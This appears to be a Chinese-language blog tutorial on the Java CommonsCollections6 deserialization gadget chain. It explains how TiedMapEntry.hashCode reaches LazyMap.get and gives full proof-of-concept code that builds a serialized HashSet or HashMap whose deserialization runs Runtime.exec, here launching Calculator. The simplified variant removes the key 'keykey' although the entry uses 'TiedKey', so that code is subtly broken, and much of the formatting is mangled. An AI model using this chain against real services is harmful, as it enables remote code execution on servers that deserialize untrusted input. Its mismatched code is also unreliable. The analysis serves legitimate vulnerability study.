CommonsCollections6

上一篇文章中通过AnnotationInvocationHandler#invoke方法来触发LazyMap#get方法,而AnnotationInvocationHandler这个类在高版本Java(8u71以后)进行了修改,导致该利用链无法利用。
这里讲另一个相对比较通用的Gadget:CommonCollections6,这个Gadget使用了另一个类org.apache.commons.collections.keyvalue.TiedMapEntry,该类在其hashCode方法中调用了getValue,而在getValue中调用了this.map.get,即可以调用LazyMap#get方法。

利用链如下:

  1. /*
  2. Gadget chain:
  3. java.io.ObjectInputStream.readObject()
  4. java.util.HashSet.readObject()
  5. java.util.HashMap.put()
  6. java.util.HashMap.hash()
  7. TiedMapEntry.hashCode()
  8. TiedMapEntry.getValue()
  9. LazyMap.get()
  10. ChainedTransformer.transform()
  11. InvokerTransformer.transform()
  12. Method.invoke()
  13. Runtime.exec()
  14. by @matthias_kaiser
  15. */

TiedMapEntry

TiedMapEntry(Map<K,V> map, K key)

构造POC

  • 这条链主要是找了另一个类来触发LazyMap#get,所以前半段可以直接复用上一篇的POC,并创建一个TiedMapEntry对象 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;

import java.util.Map; import java.util.HashMap;

public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“/System/Applications/Calculator.app/Contents/MacOS/Calculator”} ) };

  1. Transformer transformerChain = new ChainedTransformer(transformers);
  2. Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  3. TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");

} }

  1. - 根据利用链可知,这里需要找到触发`TiedMapEntry#hashCode`的方式。另外从前面URLDNS那条链可以得知,先调用`HashMap#put`,触发其中的`HashMap#hash`,最后就可以触发`TiedMapEntry#hashCode`
  2. ```java
  3. public V put(K key, V value) {
  4. return putVal(hash(key), key, value, false, true);
  5. }
  6. // ...
  7. static final int hash(Object key) {
  8. int h;
  9. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  10. }

HashSet

HashSet(int initialCapacity)

  • 那么怎样调用HashMap#put呢,这里CC6的利用链用到了HashSet的反序列化,先创建一个HashSet对象

    1. HashSet hashSet = new HashSet(1);
    2. hashSet.add("test");
  • 跟进看一下,发现在readObject方法中会对输入流s进行反序列化,然后将s作为Key来调用map.put()方法

    1. private void readObject(java.io.ObjectInputStream s)
    2. throws java.io.IOException, ClassNotFoundException {
    3. // Read in any hidden serialization magic
    4. s.defaultReadObject();
    5. // Read capacity and verify non-negative.
    6. int capacity = s.readInt();
    7. if (capacity < 0) {
    8. throw new InvalidObjectException("Illegal capacity: " +
    9. capacity);
    10. }
    11. // Read load factor and verify positive and non NaN.
    12. float loadFactor = s.readFloat();
    13. if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
    14. throw new InvalidObjectException("Illegal load factor: " +
    15. loadFactor);
    16. }
    17. // Read size and verify non-negative.
    18. int size = s.readInt();
    19. if (size < 0) {
    20. throw new InvalidObjectException("Illegal size: " +
    21. size);
    22. }
    23. // Set the capacity according to the size and load factor ensuring that
    24. // the HashMap is at least 25% full but clamping to maximum capacity.
    25. capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
    26. HashMap.MAXIMUM_CAPACITY);
    27. // Constructing the backing map will lazily create an array when the first element is
    28. // added, so check it before construction. Call HashMap.tableSizeFor to compute the
    29. // actual allocation size. Check Map.Entry[].class since it's the nearest public type to
    30. // what is actually created.
    31. SharedSecrets.getJavaOISAccess()
    32. .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
    33. // Create backing HashMap
    34. map = (((HashSet<?>)this) instanceof LinkedHashSet ?
    35. new LinkedHashMap<E,Object>(capacity, loadFactor) :
    36. new HashMap<E,Object>(capacity, loadFactor));
    37. // Read in all elements in the proper order.
    38. for (int i=0; i<size; i++) {
    39. @SuppressWarnings("unchecked")
    40. E e = (E) s.readObject();
    41. map.put(e, PRESENT);
    42. }
    43. }
  • 然后再看writeObject方法,发现存在逻辑通过for循环来对keySet中的元素进行序列化。如果能够控制key,那么就能控制s

    1. private void writeObject(java.io.ObjectOutputStream s)
    2. throws java.io.IOException {
    3. // Write out any hidden serialization magic
    4. s.defaultWriteObject();
    5. // Write out HashMap capacity and load factor
    6. s.writeInt(map.capacity());
    7. s.writeFloat(map.loadFactor());
    8. // Write out size
    9. s.writeInt(map.size());
    10. // Write out all elements in the proper order.
    11. for (E e : map.keySet())
    12. s.writeObject(e);
    13. }

    序列化

  • 如果想要控制key元素,那么首先要获取到map这个对象,才能对key进行操作

    • Field#get(Object obj),返回指定对象上这个字段的值 ```java // 获取HashSet中的map字段 Field map = Class.forName(“java.util.HashSet”).getDeclaredField(“map”); map.setAccessible(true); // 获取hashSet对象上map字段的值 HashMap hashSetMap = (HashMap) map.get(hashSet);
  1. - HashMap中有一个`table`属性,这个属性将`<Key,Value>`封装在了`Node`对象中
  2. ![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649833688183-a2a64d92-9226-49b2-a04b-340bbf851bd2.png#clientId=u4e690aab-12b1-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=131&id=uea89bd32&margin=%5Bobject%20Object%5D&name=image.png&originHeight=261&originWidth=644&originalType=binary&ratio=1&rotation=0&showTitle=false&size=29724&status=done&style=none&taskId=u43e7710b-ed4d-47e7-9447-c79d99140ef&title=&width=322)
  3. - 接下来就是操作`hashSetMap`这个HashMap对象,修改其中的Key。首先需要获取获取到了`table`中的`Key`后,再利用反射修改其为`hashSetMap`
  4. ```java
  5. // 获取HashMap中的table
  6. Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
  7. table.setAccessible(true);
  8. Object[] mapArray = (Object[]) table.get(hashSetMap);
  9. // 获取table中Node对象的Key
  10. Object node = mapArray[0];
  11. if (node == null) { node = mapArray[1]; }
  12. Field key = node.getClass().getDeclaredField("key");
  13. key.setAccessible(true);
  14. // 设置tiedMap为Node对象的Key
  15. key.set(node, tiedMap);

触发漏洞

  • 最后再对hashSet对象进行序列化,并模拟反序列化场景来触发漏洞 ```java // Serialization ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashSet); System.out.println(baos);

// Deserialization ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject();

ois.close(); bais.close(); oos.close(); baos.close();

  1. <a name="dkDBo"></a>
  2. ### 完整代码
  3. ```java
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import org.apache.commons.collections.functors.InvokerTransformer;
  8. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  9. import org.apache.commons.collections.map.LazyMap;
  10. import java.io.ByteArrayInputStream;
  11. import java.io.ByteArrayOutputStream;
  12. import java.io.ObjectInputStream;
  13. import java.io.ObjectOutputStream;
  14. import java.lang.reflect.Field;
  15. import java.util.HashSet;
  16. import java.util.Map;
  17. import java.util.HashMap;
  18. public class CommonCollections6 {
  19. public static void main(String[] args) throws Exception {
  20. Transformer[] transformers = new Transformer[] {
  21. new ConstantTransformer(Runtime.class),
  22. new InvokerTransformer(
  23. "getMethod",
  24. new Class[]{String.class, Class[].class},
  25. new Object[]{"getRuntime", new Class[0]}
  26. ),
  27. new InvokerTransformer(
  28. "invoke",
  29. new Class[]{Object.class, Object[].class},
  30. new Object[]{null, new Object[0]}
  31. ),
  32. new InvokerTransformer(
  33. "exec",
  34. new Class[]{String.class},
  35. new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
  36. )
  37. };
  38. Transformer transformerChain = new ChainedTransformer(transformers);
  39. Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  40. TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
  41. // new HashMap().put(tiedMap, "123");
  42. HashSet hashSet = new HashSet(1);
  43. hashSet.add("test");
  44. // 获取HashSet中的map字段
  45. Field map = Class.forName("java.util.HashSet").getDeclaredField("map");
  46. map.setAccessible(true);
  47. HashMap hashSetMap = (HashMap) map.get(hashSet);
  48. // 获取HashMap中的table
  49. Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
  50. table.setAccessible(true);
  51. Object[] mapArray = (Object[]) table.get(hashSetMap);
  52. // 获取table中Node对象的Key
  53. Object node = mapArray[0];
  54. if (node == null) { node = mapArray[1]; }
  55. Field key = node.getClass().getDeclaredField("key");
  56. key.setAccessible(true);
  57. // 设置tiedMap为Node对象的Key
  58. key.set(node, tiedMap);
  59. // Serialization
  60. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  61. ObjectOutputStream oos = new ObjectOutputStream(baos);
  62. oos.writeObject(hashSet);
  63. System.out.println(baos);
  64. // Deserialization
  65. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  66. ObjectInputStream ois = new ObjectInputStream(bais);
  67. ois.readObject();
  68. ois.close();
  69. bais.close();
  70. oos.close();
  71. baos.close();
  72. }
  73. }

简化版CC6

来源于P牛对CC6利用链的改造:phith0n/CommonsCollections6.java

这条简化版的利用链不需要用到HashSet,因为在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中调⽤了key.hashCode()
所以只需要让这个key等于TiedMapEntry对象,即构成TiedMapEntry.hashCode(),进而触发后续的利用链

  • 这里参考ysoserial工具,在Transformer数组最后增加了一个ConstantTransformer(1),消除java.lang.UNIXProcess报错 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Map; import java.util.HashMap;

public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“/System/Applications/Calculator.app/Contents/MacOS/Calculator”} ), new ConstantTransformer(1), };

  1. Transformer transformerChain = new ChainedTransformer(transformers);
  2. Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
  3. TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
  4. // new HashMap().put(tiedMap, "123");
  5. // 不再使⽤原CommonsCollections6中的HashSet, 直接使⽤HashMap
  6. Map expMap = new HashMap();
  7. expMap.put(tiedMap, "valuevalue");
  8. lazyMap.remove("keykey");
  9. // Serialization
  10. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  11. ObjectOutputStream oos = new ObjectOutputStream(baos);
  12. oos.writeObject(expMap);
  13. System.out.println(baos);
  14. // Deserialization
  15. ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
  16. ObjectInputStream ois = new ObjectInputStream(bais);
  17. ois.readObject();
  18. ois.close();
  19. bais.close();
  20. oos.close();
  21. baos.close();

} } ```